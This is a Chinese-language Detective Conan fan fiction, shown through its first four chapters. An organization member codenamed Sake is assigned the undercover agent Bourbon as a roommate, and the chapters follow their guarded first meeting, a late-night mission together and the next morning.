《[柯南]金毛室友总是不怀好意》 1. 打扫干净屋子再请客 清晨六点,杯户区三丁目,一间高级公寓中。 初夏的清晨,卧室里光线昏暗,厚重的窗帘半掩着,将微弱的晨曦阻挡在外。 “叮——!” 一阵突然的声响骤然打破了屋内的寂静。 床上的人影动了动。 被褥滑下,露出内里在闹钟的巨响中醒来的某个人类。 侧着身子的羽泽熙真伸手把闹钟按掉,脸埋进枕头里蹭了蹭,黑色的发丝凌乱地搭在脸侧。他半眯着金色的眼瞳,完全不想动弹地小小打了个哈欠。 可他一会儿还有任务。 又躺了半晌。 他终于慢吞吞地翻了个身,深吸一口气。 3—— 2— 1。 黑发金眸的青年猛地从床上坐起,被单随之滑落,堆在腰际。 动作间,他颈间那枚水滴形的宝石吊坠从领口滑出,在空中短暂地晃了晃,随即又被他随手塞回衣领之下,隐没不见。 他低低地叹了口气,伸手从床头柜里摸出一个塑料药瓶,倒出一粒白色的药片,看也没看便扔到嘴里干咽下去。 好苦。 药粉残留在舌根,他皱了皱眉,抓过床头的玻璃杯,倒了半杯凉水,一口口地慢慢喝着,直到那点苦味被冲淡。 他将空杯放回原处,摸过床头柜上的手机,下了床,迈步朝房门走去。 就像是知道他的行踪那般,在他走到卧室门口时,手机适时地震了一下。 羽泽熙真顺势往门框上一靠,垂眸点开消息。 【清酒,有个刚拿到代号的新人,你带一下。他会搬去你那里住。——Gin】 ……哈? 羽泽熙真盯着这行字看了几秒。 带新人,还需要带到家里来吗? 搞什么。 他慢吞吞地扬起手指,打字回复。 【谁?——Sake】 琴酒的回信立刻弹了出来。 【波本。——Gin】 羽泽熙真的手指停在屏幕上方,金色的眼眸闪了闪,困意彻底散去。 ——波本威士忌。他对于这个代号所属的主人并不算完全陌生。 一个被迫加入组织的情报贩子,一年前那批新人里最亮眼的存在,据说他情报处理能力出众,行事细腻,而神秘主义的行事作风又让人忌惮三分。 还没正式拿到代号时就已经被朗姆盯上了,显然是个值得培养的好苗子。 但他没想到,对方会被直接送到自己这边。 朗姆想在他身边安个人调查他,这点再明显不过。那位二把手盯着他很久了,想把他扔进实验室“研究研究”也不是一天两天的事——要不是……啧。 边想着,他朝着洗手间走去,慢悠悠地敲着字。 【前辈,你和朗姆大人的恩怨情仇,能不能别扯到我身上来。】 这会儿他已经懒得打代号了。 琴酒沉默了片刻。几分钟后,新消息弹出: 【后面三次药,我替你去拿。】 羽泽熙真挑了挑眉,惊讶地盯着屏幕——琴酒的意思是,这是个已经敲定的决定,他无论如何都得接受。 但作为交换,这位前辈愿意代替他去拿三次药。 他这个麻烦的体质啊……好时能徒手攀高楼,坏时则是全然不顾主人的意志,说睡就睡。为了尽量不让自己在任务中出现意外,他需要定期服用组织特制的药物,一瓶药大概够用两个月,之后就要再去取一次。 他并不喜欢那个地方。 ……看来这事里琴酒也没少拿好处,他想。不知道前辈借这个机会从朗姆那边敲诈了多少东西? 不过,反正跟他无关。 他只是一个负责执行任务的普通行动组成员,并不想掺和组织内部那摊乌烟瘴气的权力游戏。至少现在,他有六个月不用去那鬼地方了。 【才三次?这么麻烦的事。】 消息刚发出去,琴酒的回信立刻弹了出来。 【别得寸进尺。】 讨价还价宣告失败。 羽泽熙真耸耸肩,将手机随手搁在洗手池旁边,拧开了水龙头。 反正这事已经定下来了,抱怨也没什么意义。他现在该思考的是,这位神秘的波本先生住进来之后,自己要怎么应对才好。 水声哗哗作响,他低头,将冷水泼向面颊。 羽泽熙真不怎么喜欢早起,但作为从小在组织长大的人,他的行动效率一向极高。 洗漱完毕,他用毛巾对着镜面一点点擦干脸上的水迹。 镜子里映出的自己看上去精神一般。黑发因未曾细心打理而显得凌乱,柔软的发丝在发梢处微微卷起,几缕碎发垂落在额前,随着擦拭的动作轻轻晃动。 他的五官线条分明,带着点天生的凌厉感,却又被那双慵懒而随意的金色眼睛衬得温和些许,而唇角习惯性扬起一个笑容——至少在组织里,他属于很好相处的那一类人。 大家都这么说。 他放下毛巾,转身走向厨房。 拉开冰箱门,内里冷气扑面而来。里面除了啤酒、饮用水、几个罐头和放了太久的速食品,几乎没什么能入口的新鲜食物。 这段时间太忙。连续的任务、临时的出勤,他没心思管这些生活琐事。 大多数时候,他只是在任务间隙随便找个便利店,买瓶水,买份三明治或饭团,站在街边几口吃完,然后继续下一个地点。 叼着一盒牛奶,羽泽熙真看着冷藏室那过于空旷的架子,无奈地叹了口气。 得找机会补点货——毕竟,家里很快就要多一个人了。 他从袋子里掏出两片干得掉渣的吐司,走到餐桌前坐下,慢条斯理地咀嚼着。 组织内部的通讯系统显示,今天只有一个监视任务,例行公事,难度系数几乎为零,甚至都不需要绿川光——不,现在该叫苏格兰了,他是波本那批新人里最早拿到代号的一个——过来帮忙,时间上倒是宽裕得很。 羽泽熙真一边嚼着面包,一边抬起眼帘扫视着房间。屋子里并不乱,但对于即将迎来一位新房客的情况来说,未免太过敷衍了些。 更重要的是,有些东西,他还不打算让某个明显是来搜集消息的人看到。 任务的事暂且先放一边,眼下最紧要的,是先把该收拾的地方处理好。 羽泽熙真配着牛奶咽下面包,将空盒精准投入垃圾桶,站起身。 他在房间众多的屋中走了几个来回,处理边边角角的细节。比如将摊开在客厅茶几上的外围情报塞进记录身份信息的笔记本里,塞到客厅的书架最下层;比如把卧室里他常看的密码破译之类的书收起来,换上两本无关紧要的经典读物。 比如,将书房整个锁死,做好安全防护。 以往苏格兰过来时,他并不避讳对方进入那间房间,但波本…… 暂时不行。 在他彻底看清这个人之前,他不打算让任何多余的信息 暴露在对方面前。 羽泽熙真从口袋中摸出一枚金属打火机,捏在手里把玩着。 希望波本不要试图强行进入,他漫不经心地想。那后果可能不是很好看。 至此,房间已经收拾得差不多了。 组织里没有真正的“同伴”,每个人都在谨慎地试探、伪装、保留底牌,任何一点不经意的暴露,都可能成为日后被拿捏的把柄。 即便对方只是个刚拿到代号的新人,也一样。 羽泽熙真从不轻易相信任何人。 安室透。 他在心底默念着这个名字,不自觉地抬起手,轻轻摩挲着脖颈间的宝石吊坠,若有所思。 琴酒的安排不会无缘无故,朗姆也不会随便将什么人都塞到他身边。能让那位二把手亲自关注、精心栽培的,绝不会是个平庸的角色。 波本……这个代号背后,注定是一个难缠的家伙。 而一个精通情报的家伙被塞到他身边,目的也不言而喻——监督,试探,收集情报。 无聊。 羽泽熙真推开卧室里通向露台的小门,晨风涌入,冲散了有些沉闷的空气。 走到栏杆边,他双手撑在冰凉的金属扶手上,望向逐渐亮透的天色。 手机震了一下,他低头看去,是琴酒的消息。 【波本已经到据点了,明晚我带他过去。——Gin】 【知道了。——Sake】 明晚啊……可真是迫不及待。 今天是波本从朗姆的情报组被“移交”给琴酒的行动组的第一天,总得给点“见面礼”——通常来说,是一次考验,一个足够让琴酒认可他价值的任务。 羽泽熙真并不关心考核的具体内容。波本能拿到代号,必然是个有能力的人,这次不过是走个形式。 他切换页面,随手朝一个陌生但又被他熟记在心的号码发去消息。 【今天傍晚,盯一下前辈身边的人。】 【加钱。】对面回道。 【随你。】 羽泽熙真删掉记录,低头看了看脚下的地面。 说起来,要不要干脆趁现在动工,拆掉这个露台? 这个小露台是他平时晒太阳用的。有两个入口,一个在主卧,一个在次卧,从外面联通了两个房间。 虽说门可以锁,但…… 他微微侧头,看向一旁的次卧——只需推开各自的门,抬脚便能跨入对方的领地。 太近了,感觉会很不妙。 可是拆掉又很麻烦,无论是晴天还是雨天,他还挺喜欢这里的。 算了,先看看情况。 他没有兴趣主动试探这位新搭档的底细,也不打算主动交心。只要对方不妨碍他的任务,规规矩矩完成自己那份工作,带一带新人并不是什么难事。又不是没带过。 组织交付的任务才是唯一重要的事。他是黑衣组织的成员,是“清酒”。 执行命令、完成使命,这是他存在的全部意义。 该出门了。 羽泽熙真转身走回室内,从椅背抓起一件黑色外套穿上。 武器、通讯器、伪装证件、钥匙。一切妥当。 在他关上卧室房门的那一刻,手机屏幕再次亮了起来。 【别忘了任务。——Gin】 羽泽熙真漫不经心地敲下回复。 【收到。——Sake】 他推开门,步入初夏微热的空气中,消失在晨光下。 2. 波本与见面礼 夜幕降临。 公寓里只开了玄关的一盏小灯,客厅里一片昏暗。 羽泽熙真姿态松散地陷在沙发角落里,手里捏着一枚金属打火机,指腹抵住滚轮,轻轻一划——火苗跃起。 他又松开拇指,啪。火光熄灭。 再划开,再合上。 单调的动作在寂静中循环,忽明忽暗的光映在他低垂的眉眼间,金色的眼瞳中闪过微弱的光点。 【任务完成了,我带他过去。——Gin】 这是半小时前的消息,算算时间,他们差不多快到了。 他久违的起了点好奇心,这位新室友,究竟会给他带来多少麻烦呢? 羽泽熙真无意识地攥住了脖颈间的透明吊坠。 “叩、叩、叩。” 一阵不疾不徐的敲门声打破了房间的沉寂。羽泽熙真抬眸瞥向门口。 来了。 他松开手,慢吞吞地起身,打开客厅的灯。 门外站着三个人。 最前面的琴酒依旧是那身黑色风衣,银色长发披散着,黑色的礼帽下,冷绿色的眼瞳冷厉地扫过来。 他身后半步,伏特加那张憨厚的脸上挂着笑。 “呦,清酒!” 他乐呵呵的打了个招呼,看起来心情很好。 不知道他在高兴些什么。 而站在两人身侧的那位新面孔,则是今晚的主角—— 那是一个拉着行李箱的年轻人,身形修长,头发是少见的金色,看起来不像染的。 那双紫灰色的眼眸不动声色地观察着,见羽泽熙真看过来,他弯起唇角,露出了一个浅淡的笑容。 肤色偏黑的他穿着白色衬衫,臂弯处搭着一件深色外套,显然是刚从任务现场过来,身上还带着些未散尽的血腥气息。 安室透,代号“Bourbon”。 羽泽熙真微微眯眼,随即轻快地笑着倚在门框上: “晚上好啊,新室友。”他顿了顿,笑意加深了些,“你应该知道我是谁——省掉自我介绍的环节吧?” “当然。” 安室透颔首,语调礼貌得恰到好处:“清酒前辈,以后请多指教。” “进来吧。” 羽泽熙真没有应那句“前辈”,侧身让开路。安室透拎着行李箱从他身旁经过。 看起来那箱子没什么分量。 只带了这么点东西,这位很会装好人的室友……不准备在这里待太久么。 ——但愿。 琴酒全程未发一言,只是临走前冷冷地扫了羽泽熙真一眼,似乎是在暗示什么。 伏特加则咧嘴笑着,心满意足地跟在他大哥身后,大步流星地走向电梯。 他到底在乐什么。 羽泽熙真完全理解不了琴酒现任搭档的心理活动。 他靠在门边,朝走廊里那两个渐行渐远的背影懒洋洋地挥了挥手,拖着长音: “慢走——” 琴酒的眼神?应该是说别把人轻易弄死了吧,毕竟这位可是很值钱的。 那种事他才不会干呢,打工人何苦为难打工人。 房门合上,屋内瞬间安静下来。 羽泽熙真抬眼看着安室透,后者也没有拘谨,拖着行李箱走进客厅,四下观察着屋内的摆设,熟悉周围的环境。 穿过客厅便是厨房和餐厅,羽泽熙真没有打断他的观察,径直走到餐桌旁坐下。 他拿起桌上的水杯靠在唇边。 “别太紧张。”他淡淡道,“虽然是监视任务,但你也要试着让自己住得舒服点,毕竟,以后还要长期合作嘛。” 安室透似乎没想到他这么快就突然发难,愣了一下,抬头看向他。 “……前辈真会开玩笑。” 那神情甚至带上了几分无辜的委屈。 “我怎么敢监视您呢。要是前辈觉得我在这里太打扰,当然也可以让我搬出去住——我没有意见的。” 完全是废话。羽泽熙真作为一个老实本分的下属自然不敢反抗上面的决定,否则安室透今晚根本不会有机会出现在这里。 羽泽熙真低头抿了口水,再抬起眼帘时,那双金色的眼瞳里已经带上了隐隐的压迫感。 “真的?” 他审视着面前这个油嘴滑舌的新人。 “当然,都听前辈的。” 安室透像是什么都没察觉到似的,微笑着和他对视,眼神冷静,表情完美无缺,挑不出一丝瑕疵。 “……” 片刻后,羽泽熙真忽然轻笑了一声。 他抬起手,指了指走廊的方向。 “你的房间在那儿,左手边倒数第二间,自己收拾吧?” 安室透微微颔首,拖着行李箱走向自己的房间。 羽泽熙真目送着他消失在走廊的阴影里,直到听见房门轻轻打开的声音,他才收回视线,低头抿了口水。 有意思,看来接下来的日子不会无聊了。 —— 安室透推开房门,抬手按下墙上的开关,灯光瞬间洒满整个房间。 他站在门口,环顾着这个接下来要居住一段时间的地方,没有放过房间的任何细节。 房间很宽敞,但布置极为简约:床、衣柜、书桌、书架,以及一个尺寸可观的多层置物架。墙上没有也多余的装饰,只有一个挂钟。 窗帘半掩着,能看到窗外露台的轮廓与更深处的夜色。 安室透把行李箱带到书桌前打开,从中取出一个黑色的礼盒,转身离开了房间。 羽泽熙真正没什么骨头似的靠在餐桌旁,一手撑住身后的桌面,另一手里捏着只打火机。 听见脚步声,他懒洋洋地看向他。 “有事?”他问,“房间不合心意吗?” “不,很合适。” 安室透微微一笑,将礼盒递了过去。 “只是来送个小小的见面礼,毕竟以后要在一个屋檐下相处,我总得表现出一点诚意,不是吗。” 羽泽熙真挑眉接过,当着他的面扯开精致的包装丝带。掀开盒盖—— 里面躺着一瓶酒。 标签上印着熟悉的字母:BOURBON。 波本的代号酒? 羽泽熙真拎起盒子里的酒,金色的眼睛里闪过一丝兴味。 这是什么意思?投诚?示好?还是单纯地想看看他的反应? 他随手转了转瓶身,笑意盈盈地看向安室透:“你这礼物挺有意思,不过……”他晃了晃瓶子,带着点嫌弃,“这酒不好喝,我不喜欢。” 安室透闻言却没有露出任何意外的表情。 “那还真是遗憾。”他的语气依然妥帖,“不过见面礼没有收回的道理,前辈就勉为其难地收下吧。” “别叫我前辈。” 羽泽熙真拎着酒瓶,没什么架子地靠在桌边,轻声:“大家都是代号成员,地位平等,没必要搞那一套。” 安室透从善如流:“那就叫清酒?” 羽泽熙真看了他一会儿,但最终只是哼笑了一声,没再多说什么。算是默认了。 他从兜里摸了个U盘,扬手丢给对面的金发男人:“回礼,家里的监控系统权限。” 安室透稳稳接住,垂眸看去,神情若有所思。 羽泽熙真没管他在想什么,带着那瓶波本威士忌朝会客室走去。 会客室在走廊左手边第一间房,酒柜摆在角落里,分层陈列着各类酒瓶,威士忌、白兰地、伏特加、琴酒……有些密封完好,只作为收藏;有些则酒液已近瓶底,是常被取用的口粮酒。 他打开酒柜,将波本摆在了最下层,懒得再去管它。对他来说,这瓶酒只是个见面礼,没必要赋予它什么特殊意义。 不远处,波本路过会客室时,下意识往里面瞥了一眼。 那是一个很多层的酒柜,各式各样的酒整齐地摆放在架子上,而最上层的位置,单独放着一瓶清酒,似乎被精心挑选过一般,醒目又突兀。 他收回目光,唇角微微勾起,步伐未停,走回自己的房间。 在屋里转了一圈,确认没有什么乱七八糟 的东西后,安室透松了松领口,抬手捋开额前的金发。 最后一丝属于“波本”那副温和恭顺的表象也被抹去。 行李箱平摊在地板上,他俯身,将箱内的物品一件件取出。 最上层是几件换洗衣物,折叠得很规整,还有一些日用品。他取出它们,暂时放在床尾。 衣物下方,则是他随身携带的武器装备——一把手枪,一把折叠小刀,几枚备用弹匣。还有三枚□□,指甲盖大小,安静地嵌在泡沫槽里。 除此之外,他的笔记本电脑安静地躺在箱底,旁边侧袋里,是一本黑色的笔记本。 安室透拿起枪械部件,低头仔细检查了一遍,确认没有任何损伤后,将它们妥善收纳在抽屉里。 随后,他伸手从侧袋取出笔记本,翻开第一页,落笔。 ——【羽泽熙真|Sake】 笔尖停顿了一瞬,他的眼神微微一暗。 安室透——降谷零,24岁。 他是霓虹公安派遣至黑衣组织的卧底。 潜伏一年,历经无数次生死边缘的试探与验证,他终于拿到了这枚以酒为名的代号。 他早已习惯隐藏真实情绪,能游刃有余地在各种伪装中切换,也深知组织内部的生存法则,因此从不暴露任何多余的神情,更不会轻易信任任何人。 而今晚,他被送到了这里。 这个新室友——或者说,这个他未来的搭档,似乎并不简单。 羽泽熙真,清酒,黑衣组织的精英成员,他的代号取自霓虹传统酒类,似乎与其他成员有所不同。 他擅长近战格斗和暗杀,任务风格冷静精准,行事狠厉果决,深得高层信任。在组织中的立场向来稳固,至少,表面上是如此。 朗姆的安排,正好给了他一个机会,让他得以更加接近组织的高层。 今天的试探,清酒的反应并不出乎他的预料。对方没有拒绝他的见面礼,也没有表现出任何过多的情绪波动,甚至坦然表示自己对“波本”这种酒并无兴趣,或许是真的,或许只是刻意划清界限。 但有一点可以确定——清酒虽然对他有所不满,但准许他的存在。短期内不会主动为难,亦不会轻易信任。 和他想的差不多。 唯一出乎预料的,可能还是清酒的性格吧。他以为会面对琴酒那样的家伙,冷硬、锐利、拒人千里。 可真正见面时,倚在门框上的却是个带着懒散笑意、语气轻快的年轻人。 那个黑发金眸的青年,说是好相处,却又句句带刺,有意无意的试探着什么;说是冷漠,却很贴心的把安全屋监控系统的权限给他了。 安室透偏头看向放在一边的U盘——表面上说着回礼,实际上分明是提前准备好的,无论他今天有没有送出“见面礼”,大概率都会给到他手上。 对于一个敏锐的情报人员来说,这确实是很能提供安全感的东西。清酒显然很清楚这一点。 安室透收起加密本,将其放回行李箱侧袋,随后坐直身子,打开电脑,在确保安全防护无误后,打开虚拟系统,试探性地插入U盘。 文件界面弹出。清酒没有设置任何密码或陷阱——或者,即便设了,此刻也已经为他敞开。 文件夹里是一套架构清晰的监控系统,覆盖了几乎全部的房间:大门口、玄关、客厅、开放式厨房、走廊、走廊右侧的主卫次卫、走廊左侧的会客室,以及他现在所在的次卧。 监控画面都是一片漆黑,显然尚未开启。 他尝试点开客厅的监控画面,画质意外的清晰。屏幕中,清酒正半躺着窝在沙发里,漫无目的地盯着某处。 然而,几秒后,对方突然微微抬眼,视线精准地扫向监控所在的方向。 隔着屏幕,隔着那道冰冷的镜头,那双金色的眼瞳与安室透的目光在虚空中短暂相触。 然后,羽泽熙真懒懒地弯起唇角,抬起手,对着镜头随意挥了挥。 安室透盯着屏幕里那张笑脸,微微一笑,紫灰色的眼睛里眸色深沉。 有趣。 3. 不眠之夜 凌晨三点,黑暗的主卧中。 羽泽熙真睁开了眼睛,盯着天花板,整个人都透着一种深深的绝望。 他失眠了。 原因很简单,作为一个颇有警惕心的组织成员,从小到大磕磕绊绊长到现在21岁,除非任务需要,他一直都是自己住,偶尔过来的苏格兰也不会留在这里过夜。 而现在,次卧就在主卧的隔壁,那里住着另一个人。 一个彻头彻尾的陌生人。 这个事实让习惯了独居的他完全无法入睡。 羽泽熙真翻了个身,冷淡又烦躁地看向窗户的位置。他原本就不算是睡得安稳的人,但现在连一点困意都没了。 “失策。” 他在心里低声咒骂着不知道哪根筋搭错了,把人送来他家的朗姆,还有琴酒那个收了好处就点头的混蛋。 真是好的很呐,没有人考虑到他可怜的睡眠问题。没有人。 波本今晚的表现其实没什么可挑剔的。试探得体,进退有度,在他们短暂的交流里,他控制得很好——甚至可以说,他的克制和自控能力让羽泽熙真稍微有点欣赏。 但这并不意味着他能心安理得地让这个人睡在自己隔壁。 从床到门的距离是三米四,从门到次卧门的距离大约是四米。如果波本突然破门而入,他需要的最短反应时间是—— 羽泽熙真闭上眼,试图让自己不去思考那些,可他的本能不允许他忽视任何一丝可能存在的风险。 他深吸了一口气,又翻了个过身,闭着眼睛数了三十秒。 意识依旧清醒得像刚喝完一杯浓咖啡。不,比那还要清醒。 他不是不能接受和人共处,但前提是那个人的存在不会影响到他的状态。 ……这样下去不行。 他坐起身,伸手摸过床头柜上的手机,解锁后翻找联系人列表,目光最终停在一个名字上。 Gin。 羽泽熙真盯着这个名字几秒,拨了出去。响到第三声,那头就传来了琴酒沙哑而不耐烦的声音: “……你怎么了?” 羽泽熙真忍不住抬眼看了看屏幕上显示的时间。三点十五分。 这么早,前辈居然睡觉了吗? “我睡不着,前辈。”他将手机贴在耳边,“想找点事做。” 琴酒发出一声隐约带着困意的冷笑。 “清酒,你是觉得我能给你讲个睡前故事,还是想让我过去给你陪睡?波本不是在吗?” “都不用。”羽泽熙真自动过滤掉那些不友善的部分,“给我个任务,我现在就能出门。” 过了几秒,琴酒那边像是有翻身坐起的动静。那人低声嗤道:“……你就这么闲?” 羽泽熙真没说话,一手举着手机,一手拉开床头柜的抽屉,枪、弹匣、消音器、药——他取出里面的□□,在掌心掂了掂。 一声清脆的“咔哒”在耳边响起——打火机拨动的声音。 琴酒大概已经含住了刚点燃的烟,声音变得有些含糊: “正好,最近有个目标需要处理,情报已经给了基安蒂,她还没来得及动手。你既然睡不着,就顺手解决掉。” “行。”羽泽熙真应得干脆利落。 任务简报很快发到他手机上。他快速扫了一眼,目标是一个涉嫌私吞组织物资的中层成员。等级不高,危险性一般,属于一个人就能搞定的类型。 他拎着手机下床,从衣柜一堆深色衣物里随便扯出一件套上,又把枪揣进衣兜,拉开房门,步伐轻快地走向隔壁的次卧。 门内一片寂静,看时间的话,波本大概已经休息了。 当然,也不排除那家伙也是个不需要睡觉的怪物,只是因为隔音太好,现在什么都听不见。 象征性犹豫了一秒后,羽泽熙真抬手就砸响了门板。 “砰——砰!” 没过多久,安室透就出现在了门口,他身后的灯光骤然亮起,照得羽泽熙真眯了眯眼。 他只穿了一件衬衫,扣子没扣,衣料敞开着,皱巴巴地挂在身上,露出底下一片精瘦而结实的腹肌。 羽泽熙真的目光从他脸上滑下去,扫过那片裸露的皮肤,又收回来。 身材不错。不像情报组那群天天泡在办公室的酒囊饭袋,这位新人显然没少在训练上下工夫。 “……清酒?” 安室透不明所以地皱眉看他,神色间带着点明显的不耐烦,“你怎么不睡觉?今晚没有其他事了吧。” 羽泽熙真眨了眨眼。 嗯?这个人设……怎么和刚才不一样?之前在客厅的时候,那副温和礼貌、滴水不漏的笑容呢?那个“前辈真会开玩笑”的委屈呢? 好凶哦。看来是真的刚睡没多久。 羽泽熙真微微一笑。 “我有任务,走吧。” 安室透:“?” 安室透的目光缓缓下移,看向羽泽熙真已经换好的行动服,再看看自己身上还带着睡意的衣服。 “……你的任务,就不能自己去?” 他在努力让自己的不满听起来不那么明显。 “不能。”羽泽熙真理直气壮,“团队合作精神,懂吗?” 安室透冷笑:“不太懂。” “那现在学也不晚。” 安室透:“……” 他深吸一口气,告诉自己这不是一个精神状态显然不太对劲的家伙讲道理的好时机。 “等着。” 他果断放弃和眼前的人争辩,接受了现实,转身进房换衣服。 身后传来羽泽熙真的声音:“快点哦,我在客厅等你。” 安室透把门甩在他了脸上,作为回应。 ——凌晨三点,他刚睡下不到二十分钟,就被清酒敲门叫起来,说有任务要执行。 那家伙的语气懒散得像是在约他半夜出去喝酒,能是什么紧急任务。 该不会是睡不着,要出去报复社会吧?! 安室透捏了捏眉心,强行按捺住心间的不爽,拿好随身的武器。 等他出来时,羽泽熙真正坐在沙发上打哈欠,手里把玩着一把匕首——刀刃在指间翻转、跳跃、划过一道道银色的弧线,却一次都没有碰到他的皮肤。 听见脚步声,他偏过头,冲安室透露出一个毫无自觉的微笑。 安室透:“……” 他就不该答应朗姆搬过来住。 “任务内容。”他单刀直入,懒得跟这个人废话。 羽泽熙真把匕首收回口袋,慢悠悠地开口:“物资回收。” 他从手机上调出琴酒发来的地址,在安室透眼前晃了晃。 “目标手里有我们需要的东西。琴酒说,顺手解决掉就行。” “琴酒经常半夜给你发任务?” 羽泽熙真撑着下巴想了想。 “他应该也刚睡下。”他认真地说,“接电话的时候语气不太好。” 也就是说,在他被羽泽熙真从床上叫起来之前,琴酒已经先一步被折腾过了。 如果清酒经常这么半夜骚扰同伴的话,能活到现在没被打死,大概真的是因为实力过硬。 安室透嘴角抽了抽,直接扭头往门口走:“走吧,干完活早点回来。” “加油喔,波本君。” 羽泽熙真悠哉地起身跟上。 凌晨三点三十二分。 从他拨出那通电话到现在,不到二十分钟。他已经成功吵醒了琴酒、踹开了波本的门,即将把这位新室友拖出家门,执行一个根本不需要两个人去的任务。 很有效率。他满意地想。 —— 与此同时,城市的另一端。 琴酒脸色阴沉地靠在床头。 床头柜上的烟灰缸里已经躺了一根烟蒂,第二根正夹在他指间,燃了一半,灰白的烟灰摇摇欲坠。 凌晨三点。刚睡下不到一小时。一通电话,把他从睡眠里硬生生拽出来——就为了给某个睡不着觉的家伙找个“消遣”。 平时组织里就属清酒平均睡眠时间最长,这会儿倒是精神了。 琴酒按了按眉心,心里烦得不行,深觉自己今晚不该接那通电话。 而且—— 清酒和他讲完之后一直没有挂断,他清楚地听到了背景声。 那家伙去踹了波本的门,然后真的把那倒霉蛋叫了起来。他一下就明白了清酒想干什么。 大晚上的,还玩上破冰游戏了。 琴酒杀气腾腾地弹了弹烟灰,低声咒骂了一句。 ——他可能再也不会在凌晨三点接清酒的电话了。 —— 一小时后,郊区。 两个身影一前一后从废弃仓库走出,夏夜带着凉意的风吹散了硝烟的刺鼻气味。 走在前面的那个金发男人手里拎着一个文件袋,步履稳健,神色淡漠。他身后半步,黑发青年正悠哉地拍着袖口沾上的灰尘,动作慢吞吞的。 “给。”安室透侧身,把文件袋递过去。 “啊,多谢。” 羽泽熙真 伸手接过,低头瞥了一眼封口——没拆,完好。 他刚才在清理仓库里的痕迹,让安室透先帮忙拿着东西。挺听话的。 “刚刚那个目标,”安室透说,“你不是说要处理掉吗?怎么不杀?” 羽泽熙真耸了耸肩。 “处理也有很多方式嘛。那种人,吓唬吓唬打发了,不是更省事?” 安室透看着他,没说话。 羽泽熙真当然知道他在想什么——这个回答,对组织成员来说,显然不够“标准”。组织里大多数人对“处理”的理解只有一个意思:消失。彻底的那种。 但他不在乎。他今晚只是想和安室透磨合一下,看看这个人的行动方式、反应速度、以及面对指令时的应变能力。 至于目标……还挺配合的,那种边缘角色,杀或不杀,区别不大。 而且他想起一件事。琴酒说这个任务是给基安蒂的。如果他真把人杀了,说不定会被那位暴躁的女狙击手记恨呢。多一事不如少一事。 安室透没有再追问:“那现在任务完成,可以回去睡觉了?” “嗯?”羽泽熙真偏头看他,惊讶,“你还想睡?” 安室透的脚步顿住。 他缓缓转过头,用一种“你最好在开玩笑”的眼神看向羽泽熙真。 “不然呢?” “我以为你会不习惯。”羽泽熙真的笑容染上点恶劣的意味,“毕竟,我们刚刚才干了些坏事。” “清酒。” 安室透闭了闭眼。 “你知不知道——我已经三天没有休息了?” “嗯?” “前天有事。昨天琴酒拖着我在任务点守了一夜,今天又是你。让我帮忙处理你那个根本不需要两个人的任务。” “所以。”他一字一顿地总结,“我现在非常想睡觉。非、常。” 羽泽熙真干脆利落地朝他鞠了个躬:“对不起,波本大人。” 这他还真不知道。 难怪看起来这么暴躁,原来波本已经在猝死的边缘了。 他直起腰,顺手拨了拨领口的那枚吊坠——水滴形的透明宝石在月光下轻轻晃荡,折射出细碎的的光点。 “……你一直戴着这个?” 安室透的视线顺着他的手指看向那个水滴形的吊坠,开口转移话题,以此来压制自己想打人的欲望。 羽泽熙真挑起吊坠晃了晃,刚想回答,他的手机忽然响了起来。 是琴酒。 他慢悠悠地接起。 “清酒。” “前辈。”羽泽熙真的语气依旧漫不经心,“任务完成了,记得叫人来收东西。” 琴酒啧了一声。 “你要是再敢半夜因为这种破事打电话给我——我会让你比目标死得还快。” “……哦。”羽泽熙真叹了口气,“前辈,你要不要也出来透透气?反正大家都睡不着。” 琴酒:“……” 琴酒并不想理他,挂断了电话。 羽泽熙真把手机收回口袋,抬头便对上安室透依然漆黑的脸色,想了想,决定还是继续刚刚被打断的话题。 “你说这个?”他用掌心托起那块透明的小宝石,展示给对方看,“玻璃的,不值钱。” 水滴形的透明石头在他掌心安静地躺着,在月光的照耀下泛着清冷的光泽。 其实还是很漂亮的,但被羽泽熙真这么一说,它看上去就像一件被随手捡来的廉价饰品,和地摊上那些十块钱三条的没什么区别。 安室透幽幽地开口:“……知道吗,清酒。你真的很欠揍。” “谢谢夸奖。” 羽泽熙真弯起眼睛,露出一个真诚的笑容。他将吊坠塞回领口,抬脚朝停在路边的车走去。 引擎启动的声音在夜色里响起。他打着方向盘,将车缓缓驶离那片废弃的厂区,驶入空旷的公路。 后视镜里,那座仓库越来越远,最终消失在黑暗中。 他收回视线,手指轻轻敲着方向盘,嘴里哼起不知名的小调。 副驾驶的安室透双手抱臂,头偏向窗子,闭着眼睛,呼吸平稳而绵长,像是睡着了。 但羽泽熙真知道他没睡,这个人的警惕性,比起他也差不了多少。 他轻轻踩下油门。 今晚大概还是睡不着,但至少,心情好了一点。 明天。 他想。 ——等天亮之后,再重新评估一下这个搭档,决定是否要把自己生活的另一半交给他吧。 4. 安室透睡了很久 窗外的阳光渐渐明亮起来,远处的街道出现了三五个行人,车流的声音渗透进清晨的寂静。 羽泽熙真撑着沙发坐起身,黑色的发丝凌乱地支棱着,几缕落在额前,几缕翘在脑后。 他刚刚补了个觉,三四十分钟的样子,不算长,但已经足够他恢复好精力应对新的一天了。 安室透那边还没有动静。 羽泽熙真打算等到中午,如果那时候那家伙还不起床,他就过去看看新室友是不是死在屋子里了。 毕竟是朗姆亲自塞过来的眼线,第一天就出问题的话,解释起来有点麻烦。 现在……他想起了空空如也的冰箱。 先出去买个早饭吧。 早饭的选择并不多,羽泽熙真平时吃的也就那么几种:面包,三明治,饭团,快餐之类的,方便又快捷。安室透大概也不介意吃那些。 公寓附近的这条街他来过很多次,他戴着帽子,慢慢沿着树荫走,最后在一家看起来不起眼的小店门口停下。 店面不大,门脸旧旧的,但玻璃柜里摆着的三明治卖相不错。 “早上好。” 柜台后面的老太太抬起头,眯着眼睛辨认了片刻,然后笑起来。 “啊,早上好,三田先生。今天想吃什么?” 三田涉,他常用的化名。老太太记性很好,每次都能认出他。 羽泽熙真指了指三明治,又指了指旁边的咖啡机。 “这个,两份。”他说,“还有两杯黑咖啡。” “是帮朋友带的吗?”老太太一边利落地夹起三明治,一边随口问。 “是啊。” 羽泽熙真从口袋里掏出零钱放在柜台上,刚好的数目,不需要找零。 老太太将装好的纸袋递过来,又从柜台后探出半个身子,笑着朝他挥挥手。 “慢走,三田先生。” 羽泽熙真点点头,接过袋子,转身离开。 他沿着来时的路慢悠悠地往回走。今天是工作日,这会儿街上的行人更多了,他走的方向和人潮正好相反。 迎面而来的人们有的低头看手机,有的交头接耳说话,有的只是面无表情地赶路,没有人多看他一眼。 